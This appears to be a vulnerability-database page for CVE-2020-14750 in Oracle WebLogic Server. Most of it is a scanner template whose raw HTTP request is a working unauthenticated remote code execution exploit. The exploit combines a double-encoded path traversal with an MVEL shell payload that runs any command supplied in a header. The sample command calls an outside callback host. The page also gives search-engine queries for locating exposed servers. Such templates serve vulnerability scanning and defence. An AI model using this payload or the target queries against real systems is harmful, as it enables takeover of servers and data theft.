CVE-2020-14750: Oracle WebLogic Server - Remote Command Execution

2025-08-01 Oracle WebLogic Server PoC Public

Description

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.

PoC

id: CVE-2020-14750

info:
  name: Oracle WebLogic Server - Remote Command Execution
  author: princechaddha,DhiyaneshDk
  severity: critical
  description: |
    Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
  remediation: |
    Apply the latest security patches provided by Oracle to mitigate this vulnerability.
  reference:
    - https://github.com/pprietosanchez/CVE-2020-14750
    - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14750
    - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14750
    epss-score: 0.9927
    epss-percentile: 0.99936
    cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: fusion_middleware
    shodan-query:
      - http.html:"Weblogic Application Server"
      - http.title:"weblogic"
      - http.html:"weblogic application server"
    fofa-query:
      - title="weblogic"
      - body="weblogic application server"
    google-query: intitle:"weblogic"
  tags: cve2020,cve,rce,oracle,weblogic,unauth,kev,packetstorm,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        cmd: curl {{interactsh-url}}
        Content-Type: application/x-www-form-urlencoded

        _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
        weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
        java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
        field.setAccessible(true);
        Object obj = field.get(adapter);
        weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
        String cmd = req.getHeader("cmd");
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
        if (cmd != null) {
            String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
            res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
            res.getServletOutputStream().flush();
            res.getWriter().write("");
        }executeThread.interrupt();
        ");

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION="

      - type: regex
        part: body
        regex:
          - '<html><head></head><body>(.*)</body></html>'
# digest: 4a0a0047304502203acfc701e2b4a3cc323dc4ba6358871c74f7679e1c9ca9372f4ab7b326614dde022100862918862fe62be59bdb919cbe54543817cfbae4678cd34d0be324d1e3f64344:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities